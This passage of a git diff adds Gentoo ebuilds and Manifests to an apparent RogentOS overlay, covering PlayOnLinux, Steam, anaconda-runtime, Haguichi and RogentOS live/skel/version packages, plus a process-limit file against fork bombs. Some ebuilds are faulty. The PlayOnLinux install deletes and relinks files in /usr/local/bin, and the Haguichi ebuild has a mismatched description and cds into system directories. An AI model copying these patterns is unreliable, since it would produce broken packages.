Microsoft Fonts installation asked every time ? +# How to deal with wine version installed ? (have a better mgmt of system one) +# Look at debian pkg: http://packages.debian.org/sid/playonlinux + +pkg_setup() { + python_set_active_version 2 + python_pkg_setup + games_pkg_setup +} + +src_prepare() { + sed -i -e "s/\(Categories=\).*/\1Game;Emulator;/" etc/PlayOnLinux.desktop \ + || die + sed -e 's/PYTHON="python"/PYTHON="python2"/' -i lib/variables playonlinux || die + python_convert_shebangs -r 2 . +} + +src_install() { + # all things without exec permissions + insinto "${GAMES_DATADIR}/${PN}" + doins -r resources lang lib etc plugins + + # bash/ install + exeinto "${GAMES_DATADIR}/${PN}/bash" + doexe bash/* + #exeinto "${GAMES_DATADIR}/${PN}/bash/terminals" + #doexe bash/terminals/* + exeinto "${GAMES_DATADIR}/${PN}/bash/expert" + doexe bash/expert/* + + # python/ install + exeinto "${GAMES_DATADIR}/${PN}/python" + doexe python/* + # sub dir without exec permissions + insinto "${GAMES_DATADIR}/${PN}/python" + doins -r python/lib + + # main executable files + exeinto "${GAMES_DATADIR}/${PN}" + doexe ${PN}{,-pkg,-bash,-shell,-url_handler} + + # making a script to run playonlinux from ${GAMES_BINDIR} + echo "#!/bin/bash" > ${PN}_launcher + echo "cd \"${GAMES_DATADIR}/${PN}\" && ./${PN} \$*" >> ${PN}_launcher + newgamesbin playonlinux_launcher playonlinux + + # making a script to run playonlinux-cmd from ${GAMES_BINDIR} + echo "#!/bin/bash" > ${PN}_cmd_launcher + echo "cd \"${GAMES_DATADIR}/${PN}\" && ./${PN}-cmd \$*" >> ${PN}_cmd_launcher + newgamesbin playonlinux_cmd_launcher playonlinux-cmd + + dodoc CHANGELOG + + doicon etc/${PN}.png + domenu etc/${MY_PN}.desktop + prepgamesdirs + + if [ -f "/usr/bin/python2.6" ]; then + addwrite /usr/local/bin/ + if [ ! -f "/usr/local/bin/python2.6" ]; then + dosym /usr/bin/python2.6 /usr/local/bin/ || die + else + echo "The file already existed" + rm /usr/local/bin/python2.6 || die + dosym /usr/bin/python2.6 /usr/local/bin/ || die + echo "Replaced it" + fi + if [ ! -f "/usr/local/bin/python2.6-config" ]; then + dosym /usr/bin/python-config-2.6 /usr/local/bin/python2.6-config || die + else + echo "The file already existed" + rm /usr/local/bin/python2.6-config || die + dosym /usr/bin/python-config-2.6 /usr/local/bin/python2.6-config || die + echo "Replaced it" + fi + else + ewarn "There is no python2.6, you should emerge python2.6" + fi +} + +pkg_postinst() { + games_pkg_postinst + python_mod_optimize "${GAMES_DATADIR}/${PN}" +} + +pkg_postrm() { + python_mod_cleanup "${GAMES_DATADIR}/${PN}" + + elog "Installed softwares and games with playonlinux have not been removed." + elog "To remove them, you can re-install playonlinux and remove them using it" + elog "or do it manually by removing .PlayOnLinux/ in your home directory." +} diff --git a/app-emulation/playonlinux/playonlinux-4.2.1.ebuild b/app-emulation/playonlinux/playonlinux-4.2.1.ebuild new file mode 100644 index 00000000..8b22bda7 --- /dev/null +++ b/app-emulation/playonlinux/playonlinux-4.2.1.ebuild @@ -0,0 +1,133 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/app-emulation/playonlinux/playonlinux-4.1.1.ebuild,v 1.1 2012/06/16 19:12:24 pacho Exp $ + +EAPI="4" +PYTHON_DEPEND="2" + +inherit eutils python games + +MY_PN="PlayOnLinux" + +DESCRIPTION="Set of scripts to easily install and use Windows games and software" +HOMEPAGE="http://playonlinux.com/" +SRC_URI="http://www.playonlinux.com/script_files/${MY_PN}/${PV}/${MY_PN}_${PV}.tar.gz" + +LICENSE="GPL-3" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="winbind" + +DEPEND="" +RDEPEND="app-emulation/wine + app-arch/cabextract + app-arch/p7zip + app-arch/unzip + app-crypt/gnupg + net-analyzer/netcat6 + dev-python/wxpython:2.8 + || ( media-gfx/imagemagick media-gfx/graphicsmagick[imagemagick] ) + net-misc/wget + x11-apps/mesa-progs + x11-terms/xterm + media-gfx/icoutils + winbind? ( net-fs/samba[winbind] ) " + +S=${WORKDIR}/${PN} + +# TODO: +# Having a real install script and let playonlinux use standard filesystem +# architecture to prevent having everything installed into GAMES_DATADIR +# It will let using LANGUAGES easily +# How to deal with Microsoft Fonts installation asked every time ? +# How to deal with wine version installed ? (have a better mgmt of system one) +# Look at debian pkg: http://packages.debian.org/sid/playonlinux + +pkg_setup() { + python_set_active_version 2 + python_pkg_setup + games_pkg_setup +} + +src_prepare() { + sed -i -e "s/\(Categories=\).*/\1Game;Emulator;/" etc/PlayOnLinux.desktop \ + || die + sed -e 's/PYTHON="python"/PYTHON="python2"/' -i lib/variables playonlinux || die + python_convert_shebangs -r 2 . +} + +src_install() { + # all things without exec permissions + insinto "${GAMES_DATADIR}/${PN}" + doins -r resources lang lib etc plugins + + # bash/ install + exeinto "${GAMES_DATADIR}/${PN}/bash" + doexe bash/* + #exeinto "${GAMES_DATADIR}/${PN}/bash/terminals" + #doexe bash/terminals/* + exeinto "${GAMES_DATADIR}/${PN}/bash/expert" + doexe bash/expert/* + + # python/ install + exeinto "${GAMES_DATADIR}/${PN}/python" + doexe python/* + # sub dir without exec permissions + insinto "${GAMES_DATADIR}/${PN}/python" + doins -r python/lib + + # main executable files + exeinto "${GAMES_DATADIR}/${PN}" + doexe ${PN}{,-pkg,-bash,-shell,-url_handler} + + # making a script to run playonlinux from ${GAMES_BINDIR} + echo "#!/bin/bash" > ${PN}_launcher + echo "cd \"${GAMES_DATADIR}/${PN}\" && ./${PN} \$*" >> ${PN}_launcher + newgamesbin playonlinux_launcher playonlinux + + # making a script to run playonlinux-cmd from ${GAMES_BINDIR} + echo "#!/bin/bash" > ${PN}_cmd_launcher + echo "cd \"${GAMES_DATADIR}/${PN}\" && ./${PN}-cmd \$*" >> ${PN}_cmd_launcher + newgamesbin playonlinux_cmd_launcher playonlinux-cmd + + dodoc CHANGELOG + + doicon etc/${PN}.png + domenu etc/${MY_PN}.desktop + prepgamesdirs + + if [ -f "/usr/bin/python2.6" ]; then + addwrite /usr/local/bin/ + if [ ! -f "/usr/local/bin/python2.6" ]; then + dosym /usr/bin/python2.6 /usr/local/bin/ || die + else + echo "The file already existed" + rm /usr/local/bin/python2.6 || die + dosym /usr/bin/python2.6 /usr/local/bin/ || die + echo "Replaced it" + fi + if [ ! -f "/usr/local/bin/python2.6-config" ]; then + dosym /usr/bin/python-config-2.6 /usr/local/bin/python2.6-config || die + else + echo "The file already existed" + rm /usr/local/bin/python2.6-config || die + dosym /usr/bin/python-config-2.6 /usr/local/bin/python2.6-config || die + echo "Replaced it" + fi + else + ewarn "There is no python2.6, you should emerge python2.6" + fi +} + +pkg_postinst() { + games_pkg_postinst + python_mod_optimize "${GAMES_DATADIR}/${PN}" +} + +pkg_postrm() { + python_mod_cleanup "${GAMES_DATADIR}/${PN}" + + elog "Installed softwares and games with playonlinux have not been removed." + elog "To remove them, you can re-install playonlinux and remove them using it" + elog "or do it manually by removing .PlayOnLinux/ in your home directory." +} diff --git a/app-emulation/steam/Manifest b/app-emulation/steam/Manifest new file mode 100644 index 00000000..a49b07e3 --- /dev/null +++ b/app-emulation/steam/Manifest @@ -0,0 +1 @@ +DIST steam_1.0.0.45.tar.gz 2340210 SHA256 58f42d2d4980dd9a66445a2b60a6d336140a6ee6171803c6f925b5d1b2462942 SHA512 a36a769478145d4e85ac051d2d3b8f27783462c9dc5f3ce6e2a8a3acbe7f92b11f026623c968c3b561142dd14cf607c179bbd4cea148f546db5208ee38a4e763 WHIRLPOOL bb48d1c6f0454c4b05dd63ecdcef3e1b11854e9874d270670d2bbad21c0bb4590bee6896e1a07b914c593428c106d82d8c683db63db807c398f371bdca8a1ff1 diff --git a/app-emulation/steam/steam-1.0.0.45.ebuild b/app-emulation/steam/steam-1.0.0.45.ebuild new file mode 100644 index 00000000..6a1e1ba2 --- /dev/null +++ b/app-emulation/steam/steam-1.0.0.45.ebuild @@ -0,0 +1,41 @@ +EAPI=5 + +inherit eutils + +DESCRIPTION="Digital distribution client bootstrap package" +HOMEPAGE="http://steampowered.com/" +SRC_URI="http://repo.steampowered.com/${PN}/pool/${PN}/s/${PN}/${PN}_${PV}.tar.gz" + +LICENSE="custom" +SLOT="0" +KEYWORDS="amd64 x86" + +EMUL_X86_VER=20120520 + +RDEPEND=" + virtual/ttf-fonts + dev-util/desktop-file-utils + x11-themes/hicolor-icon-theme + net-misc/curl + sys-apps/dbus + media-libs/freetype + x11-libs/gdk-pixbuf + gnome-extra/zenity + amd64? ( + >=app-emulation/emul-linux-x86-xlibs-${EMUL_X86_VER} + >=app-emulation/emul-linux-x86-soundlibs-${EMUL_X86_VER} + >=app-emulation/emul-linux-x86-opengl-${EMUL_X86_VER} + ) + x86? ( + media-libs/alsa-lib + media-libs/mesa + x11-libs/libX11 + )" + +S=${WORKDIR}/${PN} + +src_install() { + emake DESTDIR="${D}" install || die "make install failed" + rm -rf "${D}"/usr/bin/steamdeps || die # we don't use apt-get + dosym /bin/true /usr/bin/steamdeps || die # create blank steamdeps +} diff --git a/app-misc/anaconda-runtime/Manifest b/app-misc/anaconda-runtime/Manifest new file mode 100644 index 00000000..48c262e3 --- /dev/null +++ b/app-misc/anaconda-runtime/Manifest @@ -0,0 +1,2 @@ +EBUILD anaconda-runtime-1.1-r1.ebuild 1150 SHA256 792e849b32ccb260c4f8f4b2f2feca2a55e438a17f36a5d477dc48f43569d5d3 SHA512 aeeabf2bd6775eb5739dcb4e813ad68778031d4bc5c26876ee289064029d3c2935f233c6cee7278987ed5b9cfbeb05ec618fc4bdd4c69a3a9e6a9e69be8d7a8f WHIRLPOOL dac1920de065781b167fd501eaf022df3aafa943b476ea783fec44b9b25f6bd02d1758ed777d4c939bd460390032bb304a41f4541ca9ee569338ef9ad7530c83 +EBUILD anaconda-runtime-1.1-r3.ebuild 1104 SHA256 80ada99bd3cc1e2b68380d3b1147e97272a260a63992e157989d9d46e40ce2cb SHA512 7d1700f7703488952f9efd5b493c0c1f328998d1dc533a1670c99b5758244f4c847cfe5c574524fd09bab8a02190f3e35d0262dade58d52ce46e7d777bc310fb WHIRLPOOL 925d68cc0621494550610b274ae41700e494c4c3602272e2dc65d27ab620a17b6f213e2fd993597ce296259d59d5c394c9790580e0a8f004f414ae34c37ae59d diff --git a/app-misc/anaconda-runtime/anaconda-runtime-1.1-r1.ebuild b/app-misc/anaconda-runtime/anaconda-runtime-1.1-r1.ebuild new file mode 100644 index 00000000..206c58ff --- /dev/null +++ b/app-misc/anaconda-runtime/anaconda-runtime-1.1-r1.ebuild @@ -0,0 +1,51 @@ +# Copyright 2004-2010 Sabayon +# Distributed under the terms of the GNU General Public License v2 +# $ + +EAPI="2" + +DESCRIPTION="Anaconda Installer runtime meta-package (containing all the runtime dependencies)" +SRC_URI="" + +LICENSE="GPL-2" +KEYWORDS="~amd64 ~x86" +SLOT="0" + +DEPEND="" +RDEPEND="app-admin/system-config-date + app-admin/system-config-users + >=app-misc/rogentoslive-tools-1 + >=app-misc/rogentos-version-1 + app-text/xmlto + dev-libs/elfutils + dev-libs/libnl + dev-libs/libxml2[python] + dev-python/pyblock + >=dev-python/python-cryptsetup-0.1.4 + dev-python/python-meh + dev-python/python-nss + dev-python/python-report + dev-python/urlgrabber + dev-util/pykickstart + net-misc/curl + net-misc/dhcp + net-misc/fcoe-utils + >=net-misc/networkmanager-0.7.2 + sys-apps/dmidecode + sys-apps/language-configuration-helpers + >=sys-boot/grub-1.98 + sys-boot/makebootfat + sys-fs/btrfs-progs + sys-fs/cryptsetup + sys-fs/dosfstools + sys-fs/e2fsprogs + sys-fs/jfsutils + sys-fs/mdadm + sys-fs/multipath-tools + || ( sys-fs/ntfsprogs sys-fs/ntfs3g[ntfsprogs] ) + sys-fs/reiserfsprogs + sys-fs/squashfs-tools + sys-fs/xfsprogs + sys-libs/cracklib + sys-libs/libuser + sys-libs/slang" diff --git a/app-misc/anaconda-runtime/anaconda-runtime-1.1-r3.ebuild b/app-misc/anaconda-runtime/anaconda-runtime-1.1-r3.ebuild new file mode 100644 index 00000000..4ea75cd9 --- /dev/null +++ b/app-misc/anaconda-runtime/anaconda-runtime-1.1-r3.ebuild @@ -0,0 +1,50 @@ +# Copyright 2004-2010 Sabayon +# Distributed under the terms of the GNU General Public License v2 +# $ + +EAPI="2" + +DESCRIPTION="Anaconda Installer runtime meta-package (containing all the runtime dependencies)" +SRC_URI="" + +LICENSE="GPL-2" +KEYWORDS="~amd64 ~x86" +SLOT="0" + +DEPEND="" +RDEPEND="app-admin/system-config-date + app-admin/system-config-users + >=app-misc/rogentos-live-1 + >=app-misc/rogentos-version-1 + app-text/xmlto + dev-libs/elfutils + dev-libs/libnl + dev-libs/libxml2[python] + dev-python/pyblock + >=dev-python/python-cryptsetup-0.1.4 + dev-python/python-meh + dev-python/python-nss + dev-python/python-report + dev-python/urlgrabber + dev-util/pykickstart + net-misc/curl + net-misc/dhcp + net-misc/fcoe-utils + >=net-misc/networkmanager-0.7.2 + sys-apps/dmidecode + >=sys-boot/grub-1.98 + sys-boot/makebootfat + sys-fs/btrfs-progs + sys-fs/cryptsetup + sys-fs/dosfstools + sys-fs/e2fsprogs + sys-fs/jfsutils + sys-fs/mdadm + sys-fs/multipath-tools + || ( sys-fs/ntfsprogs sys-fs/ntfs3g[ntfsprogs] ) + sys-fs/reiserfsprogs + sys-fs/squashfs-tools + sys-fs/xfsprogs + sys-libs/cracklib + sys-libs/libuser + sys-libs/slang" diff --git a/app-misc/haguichi/Manifest b/app-misc/haguichi/Manifest new file mode 100644 index 00000000..f25a5500 --- /dev/null +++ b/app-misc/haguichi/Manifest @@ -0,0 +1,2 @@ +DIST haguichi-1.0.17-clr4.0.tar.gz 267311 SHA256 0a8ad60c2e39a448dbb9902d21ff23080a1c24e1df964df30bd1bd04b4c9f31d SHA512 b432ca0c9883555fb2c40abd4ccd5252154f24c41c0e6df6fcf11e4aa89312273b15b1ce7b3129364568e2a0232cb69a875682d7f14d7448ba9b01dca5036dd5 WHIRLPOOL c1aff8a81f1316dc535a9b583f2042162ad3f9467ea94e04410e98a7caf51f17cf1ba3b61f37c0bc09e62b7e4f6f164321e041eaf8d967ea750dbb0c1fe29229 +EBUILD haguichi-1.0.17.ebuild 1238 SHA256 85b26bb286fcb603430e143626bb25af8929b22636925e566ae57925afe02693 SHA512 bb80933440c1ecf7e0073fd89377d904ca99ba5a800834b332d357c72df499dc0f941e1804b40e2678af12e8781629dd3c93e6867b18a61a0ca6d809c835005d WHIRLPOOL 42f7e18a0c4984984feb2eaf1f5e077d67ca9969df313f802b0dfcdb22d72d1031b90832eab14de9351123fa7548f8afc7b439b11afd553e8f61ecd7caa93af8 diff --git a/app-misc/haguichi/haguichi-1.0.17.ebuild b/app-misc/haguichi/haguichi-1.0.17.ebuild new file mode 100644 index 00000000..5bf1bd0e --- /dev/null +++ b/app-misc/haguichi/haguichi-1.0.17.ebuild @@ -0,0 +1,51 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=4 + +inherit eutils multilib toolchain-funcs + +DESCRIPTION="Lunduke made Linux Tycoon" +HOMEPAGE="http://lunduke.com/?page_id=2646" +SRC_URI="http://launchpad.net/haguichi/1.0/1.0.17/+download/${PN}-${PV}-clr4.0.tar.gz" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="-* ~amd64 ~x86" + +RDEPEND="x11-libs/pango + dev-dotnet/gtk-sharp + dev-dotnet/notify-sharp + dev-dotnet/gconf-sharp + dev-dotnet/ndesk-dbus + dev-dotnet/ndesk-dbus-glib + x11-libs/pixman + amd64? ( + app-emulation/emul-linux-x86-gtklibs + app-emulation/emul-linux-x86-baselibs )" +DEPEND="" + +S="${WORKDIR}/${PN}-${PV}" + +src_compile() { + #cd "{S}" || die + emake \ + DEBUG="" \ + "CFLAGS=${CFLAGS}" \ + "LIBDIR=$(get_libdir)" \ + || die "emake failed" +} + +src_install() { + cd /usr/lib64/ + dodir ${PN} || die + doins "${S}"/bin/Release/haguichi || die + doins "${S}"/bin/Release/Haguichi.exe || die + + cd /usr/share/icons || die + doins "${S}"/bin/Release/icons/* || die + + cd /usr/share/applications || die + doins "${S}"/bin/Release/applications/Haguichi || die +} diff --git a/app-misc/rogentos-live/rogentos-live-1.ebuild b/app-misc/rogentos-live/rogentos-live-1.ebuild new file mode 100644 index 00000000..3a47607f --- /dev/null +++ b/app-misc/rogentos-live/rogentos-live-1.ebuild @@ -0,0 +1,32 @@ +# Copyright 2004-2013 RogentOS +# Distributed under the terms of the GNU General Public License v2 + +EAPI=5 + +EGIT_REPO_URI="git://github.com/RogentOS/rogentos-live.git" +EGIT_COMMIT="v${PV}" + +inherit eutils systemd git-2 + +DESCRIPTION="RogentOS live image scripts and tools" +HOMEPAGE="http://www.sabayon.org" + +SLOT="0" +LICENSE="GPL-2" +KEYWORDS="amd64 arm x86" +IUSE="" + +DEPEND="" +RDEPEND="!app-misc/livecd-tools + app-admin/eselect-opengl + dev-util/dialog + sys-apps/gawk + sys-apps/pciutils + sys-apps/keyboard-configuration-helpers + sys-apps/sed" + +src_install() { + emake DESTDIR="${D}" SYSV_INITDIR="/etc/init.d" \ + SYSTEMD_UNITDIR="$(systemd_get_unitdir)" \ + install || die +} diff --git a/app-misc/rogentos-live/rogentos-live-2-r1.ebuild b/app-misc/rogentos-live/rogentos-live-2-r1.ebuild new file mode 100644 index 00000000..3f028a48 --- /dev/null +++ b/app-misc/rogentos-live/rogentos-live-2-r1.ebuild @@ -0,0 +1,32 @@ +# Copyright 2004-2013 RogentOS +# Distributed under the terms of the GNU General Public License v2 + +EAPI=5 + +EGIT_REPO_URI="git://github.com/Rogentos/rogentos-live.git" +#EGIT_COMMIT="v${PV}" + +inherit eutils systemd git-2 + +DESCRIPTION="Rogentos live image scripts and tools" +HOMEPAGE="http://www.rogentos.ro" + +SLOT="0" +LICENSE="GPL-2" +KEYWORDS="amd64 arm x86" +IUSE="" + +DEPEND="" +RDEPEND="!app-misc/livecd-tools + app-admin/eselect-opengl + dev-util/dialog + sys-apps/gawk + sys-apps/pciutils + sys-apps/keyboard-configuration-helpers + sys-apps/sed" + +src_install() { + emake DESTDIR="${D}" SYSV_INITDIR="/etc/init.d" \ + SYSTEMD_UNITDIR="$(systemd_get_unitdir)" \ + install || die +} diff --git a/app-misc/rogentos-live/rogentos-live-2.ebuild b/app-misc/rogentos-live/rogentos-live-2.ebuild new file mode 100644 index 00000000..0a231479 --- /dev/null +++ b/app-misc/rogentos-live/rogentos-live-2.ebuild @@ -0,0 +1,33 @@ +# Copyright 2004-2013 RogentOS +# Distributed under the terms of the GNU General Public License v2 + +EAPI=5 + +EGIT_REPO_URI="git://github.com/Rogentos/rogentos-live.git" +EGIT_COMMIT="v${PV}" + +inherit eutils systemd git-2 + +DESCRIPTION="Rogentos live image scripts and tools" +HOMEPAGE="http://www.rogentos.ro" + +SLOT="0" +LICENSE="GPL-2" +KEYWORDS="amd64 arm x86" +IUSE="" + +DEPEND="" +RDEPEND="!app-misc/livecd-tools + app-admin/eselect-opengl + dev-util/dialog + sys-apps/gawk + sys-apps/pciutils + sys-apps/keyboard-configuration-helpers + sys-apps/sed + !app-misc/sabayon-live" + +src_install() { + emake DESTDIR="${D}" SYSV_INITDIR="/etc/init.d" \ + SYSTEMD_UNITDIR="$(systemd_get_unitdir)" \ + install || die +} diff --git a/app-misc/rogentos-skel/Manifest b/app-misc/rogentos-skel/Manifest new file mode 100644 index 00000000..5d9a40f9 --- /dev/null +++ b/app-misc/rogentos-skel/Manifest @@ -0,0 +1 @@ +EBUILD rogentos-skel-1.ebuild 662 SHA256 c31df5a21115f48b27fdcff0bb576f63840f182edabb841c955d20b83125d50f SHA512 8636302174985f4ba9bcb6190bdc08e6a031af556d04e4819bb52b15e8cae2e4ed7a6af701b514baf90c1173676a5c6af927ceb5bf2d7e01eee0e03b0e0abd30 WHIRLPOOL 92930632090476d1e517cd499b9452e1dc12c02e6605798e6bf1a4a7a3f42ec197f8e0646e41c5367dbb44a919058658f2286d1e3c1193c212a948c9170f67fb diff --git a/app-misc/rogentos-skel/rogentos-skel-1.ebuild b/app-misc/rogentos-skel/rogentos-skel-1.ebuild new file mode 100644 index 00000000..224f8078 --- /dev/null +++ b/app-misc/rogentos-skel/rogentos-skel-1.ebuild @@ -0,0 +1,27 @@ +# Copyright 1999-2012 Sabayon Linux and Rogentos Linux +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=4 +EGIT_REPO_URI="git://github.com/BlackNoxis/roskel.git" + +inherit eutils git-2 fdo-mime + +DESCRIPTION="Rogentos Linux skel tree" +HOMEPAGE="http://www.rogentos.ro/" +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~amd64 ~arm ~x86" +IUSE="" +RDEPEND="" +DEPEND="!>app-misc/rogentos-skel-1 + !app-misc/sabayon-skel" + +src_install () { + dodir /etc/xdg/menus + cp "${S}"/* "${D}"/etc/ -Ra + chown root:root "${D}"/etc/skel -R + + insinto /etc/bash/ || die "Failed to insinto" + doins "${S}"/skel/.bash/bashrc /etc/bash/ || die "Cannot copy bashrc" +} diff --git a/app-misc/rogentos-version/Manifest b/app-misc/rogentos-version/Manifest new file mode 100644 index 00000000..dabcf8ff --- /dev/null +++ b/app-misc/rogentos-version/Manifest @@ -0,0 +1,2 @@ +AUX 00-sabayon-anti-fork-bomb.conf 690 SHA256 80f397f12a746a73d48d90c010d6176c9e0661fbe118c770f97c165810caeee5 SHA512 da4c0ce2efacb3a420a73fc6ac533d17fef8e338bf6d3e784e52e49f1098504e985d4a24a96b4f67c1ceda45942c592423de3f5699cefd4aa148c23f5414acd3 WHIRLPOOL dc283b03fdd9acf8bb27c2904a40f94ebc5c45f81bd4f46c825fa5e999975d5663c25bf1d8226bb4b9e0c31791295dd75e0ef2ed3ed343defaf21557aba71d19 +EBUILD rogentos-version-1.ebuild 1110 SHA256 76520b13c997d823f3fbead4001794ace9ec962756fd145a5b613165ac5b0d89 SHA512 effab571839d3f6a7c29e0eec3f9e6bc7ea9aeacf85f4781b0ccfe62e13cdb6cd2f0548cc68f41c10cad4f6c37235bfe46334ac3a74e8863c2be24a11a9d718e WHIRLPOOL 5f7a0d29389f3126f512f4b44e894a5e911ee9f51d3175ebb24cf938bdab37ca9d48babe3abf9d34db874e4a58eb8a65cb264ffa572cdb6edeb50a1003f39b31 diff --git a/app-misc/rogentos-version/files/00-sabayon-anti-fork-bomb.conf b/app-misc/rogentos-version/files/00-sabayon-anti-fork-bomb.conf new file mode 100644 index 00000000..4dcf561f --- /dev/null +++ b/app-misc/rogentos-version/files/00-sabayon-anti-fork-bomb.conf @@ -0,0 +1,20 @@ +# 00-sabayon-anti-fork-bomb.conf +# +# This file estabilishes Sabayon Linux default process +# limits to defend the system against malicious or faulty +# code that could potentially make the system unusable by +# spawning an excessive amount of processes. +# +# The root account is not affected by process number +# limitations. This way a root console can always kill any +# offending process, but an offending root process could +# still block the system. +# +# Each line describes a limit for a user in the form: +# +# + +* soft nproc 1300 +* hard nproc 1800 +root - nproc infinity + diff --git a/app-misc/rogentos-version/rogentos-version-1.ebuild b/app-misc/rogentos-version/rogentos-version-1.ebuild new file mode 100644 index 00000000..822304c4 --- /dev/null +++ b/app-misc/rogentos-version/rogentos-version-1.ebuild @@ -0,0 +1,48 @@ +# Copyright 2004-2011 Sabayon Linux +# Copyright 2012 Rogentos Linux +# Original Authors Sabayon Team +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=3 + +DESCRIPTION="Rogentos System Release virtual package" +HOMEPAGE="http://rogentos.ro/" +SRC_URI="" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~amd64 ~arm ~x86" + +IUSE="" +DEPEND="" +RDEPEND="app-admin/eselect-python + dev-lang/python:2.7 + sys-devel/base-gcc:4.6 + sys-devel/gcc-config" + +ROGENTOS_VER="${PV}" +ROGENTOS_HEADER="Rogentos Linux" +ROGENTOS_RELEASE="rogentos-release" + +src_unpack () { + if use x86; then + echo "${ROGENTOS_HEADER} x86 ${ROGENTOS_VER}" > "${ROGENTOS_RELEASE}" + else + echo "${ROGENTOS_HEADER} amd64 ${ROGENTOS_VER}" > "${ROGENTOS_RELEASE}" + fi +} + +src_install () { + insinto /etc + doins rogentos-release + dosym /etc/rogentos-release /etc/system-release + # Adding sabayon anti-fork bomb + insinto /etc/security/limits.d + doins "${FILESDIR}/00-sabayon-anti-fork-bomb.conf" +} + +pkg_postinst() { + # Setup Python 2.7 + eselect python update --ignore 3.0 --ignore 3.1 --ignore 3.2 --ignore 3.3 --ignore 3.4 +} diff --git a/app-misc/rogentoslive-tools/Manifest b/app-misc/rogentoslive-tools/Manifest new file mode 100644 index 00000000..383f6061 --- /dev/null +++ b/app-misc/rogentoslive-tools/Manifest @@ -0,0 +1,50 @@ +AUX 1.0/bashlogin 116 SHA256 9385b60eb67e44d36e7806968df3af7dadd57e7e2a392ba4e3b588e51e8fc29d SHA512 c37c20a53896da635a2bf7888e2e0d88f712c1f8cc683dc37cf6f33ba98e0f08d2635eb2448f89376d9699a28e6b63550b0638761b68423291fad913064aa488 WHIRLPOOL 43ac0a64e87f6edd58ec06595986f540b9edbc204eecdf895951b31eb3bc297fdef4c873e5df5cc064311ce166bb49e0776fdc3879cf65e69897c477d78e7cf2 +AUX 1.0/cdeject 567 SHA256 87b2b6f61d6afc109818b12fac463b4603e2329b15575b72e72eb20eaafcfcce SHA512 84bf11654af3ea5e49e8c5140713c8c6bd21b1e755880f6da58663e2d9c7aed923bc9fca51016606bfe96aaac0d82216432dd7a2bc4dd802a6f541987e2755f4 WHIRLPOOL ab093def1ed9dedb06962442d4bf94e227b0c325101ff86907693fa86866b700863fdde2f3fc82a42c078ba0f72497875ecb1e71910832b7c207f5cbb94f7a7c +AUX 1.0/installer-gui 463 SHA256 3c035d37c7be182965fbaecd7eb4b698c6cda5c826ca8e563e6813522f26b45c SHA512 758c26069d474b8a312cd834a23918712340d70b1fe98b745fcd94f8a10e913c662868552595a618e5b28b3e903fe7872c0db4eeb69f7479f4cce5f420044a3c WHIRLPOOL 385f582b7aa3054b8170498a19b443f00a6a91ed82d6c35e201031ff118bfbd9c33b936f77de352600b4e5f7a82f9a26d716f1d000d3fdb0f2d4f4be392f770c +AUX 1.0/installer-text 350 SHA256 f515c37518d7bfe41861bdc06290154f8d4921c8d5d1d5fcf082dcbcfd7eb0ae SHA512 7eb0098ebbb0a4f233999db2e7048d27551783ad408499725f3a8f2c37122df537de7704924f9024681ab473805b07fcbafc14346997a86ffae9fa61a26b546e WHIRLPOOL 2e89f4dde51d287f484af69130ee4ecb2f3a2b3917258f6746a6456537229536bb364147aab0693baab9bfea89061339bc16f2a103770f0e0625953a4b13cd0e +AUX 1.0/livecd-functions.sh 17409 SHA256 8595c6c329bd5f762d626029d86ee7184b3ae0201e4553c7616b75d034c28dee SHA512 a3ba69ee64ebb20f6a1cce9dd11c2d7e2479a545ab97c2639c15fe53c4f75b7db9895f2db1c5e8d9cb16a95e1742ddb76702a3a8413b0b8c2def36621353fa60 WHIRLPOOL 5642b6aec64281289686f4442562ac90d24af7cc3ba4380d203b062c266325c9768572dca96358b24f21d7a39b9cda57efcd94e17cd8d593053227b33ee374c2 +AUX 1.0/livespawn 193 SHA256 256c51d66e8bcaa82e9a52ebf70fe947000dc43c2d9df0c73d045f624e615cbe SHA512 9e4d2f929c473560f47e86721be6bc65336a2adcc83a034ae945b1c5e2db21a215042b4d31a9b6b1865d40a12c92aa349df37149a4a48ec6c47680d584a65c3e WHIRLPOOL 291de20dab535565287f1b712f3be01cd67e262df71dde74d33f45fbc25a74116f372c09ad73cef1f94be8fd80dd4486d59ca41d3b5eb364dfd05f8e361de63b +AUX 1.0/logscript.sh 3556 SHA256 cae5c18418c34fd6a22ab34e79ba3c2ea99ece6e5ebaebb3931e745d1b3c41f6 SHA512 a06682ca40d2804494bcd7081132a2b0a764d9230a59d28b8029a52ca77d5f8962bf9ca301f808db0c542ab4381531db5a4135509b9a69e487525a97aba26042 WHIRLPOOL 6d5629bb6fb144b59977c269ad1bcfcf6f56ddc65b6f29d85006b5b2f618893c31e6bb4c5d26ae054f9b582058db5d53c4e15094714b5fa68c8f70e385256b7f +AUX 1.0/net-setup 1529 SHA256 41f5fdf35752837e69e958b7082339146c2c8e2e3470add2cd2eab4092d50d9a SHA512 22e394897b1bcfdb8ec9fba841316a14b235f22e61571e5731928eb6751b44a44d7cb2cc24c60c5f88b5216902933ffeceeb5b87ae358a91cd1a3a6368bbff76 WHIRLPOOL 2b2f366e4a93ebe0abb16f984efb296fc6e92ba1cd9c07309b683787ce65ca5bef3572454e5e955aaaf2786366a385a9b500f0645ac9d896aca6f700429bfb01 +AUX 1.0/opengl-activator 10039 SHA256 0090240f1c8cba0d9dae59dac4b472e4b73fc41e64cb178e786d1093af565eaf SHA512 1c93e2b9d6cea8db258e5fdd3c1d493f04a6e7f3ce3412e738551287e150a59793ec6180ba0858aff58e9dd47ce64d933d4b19706b33ee20291f9021dca12cf5 WHIRLPOOL 6270e25c0249c685f916ea9b4a0baf0a494c3fa8b2dacaca828fa9b910d641b6b84c39f4bc84b685571179068b38440e50115ad0cadfcf348561673cdf884ca8 +AUX 1.0/rogentos-functions.sh 7146 SHA256 1d736b09c387806c969371a041ed33f388330e0c95d822ee64fe0b9e6bb513f6 SHA512 1a4a0ab6866dda84e3ffc497134bff5e11f7a308657df04ed3d9650fbc85b23186332232a530d8f3105e008da787b3288c68c0e86efcedd813d6a73ea7d18311 WHIRLPOOL 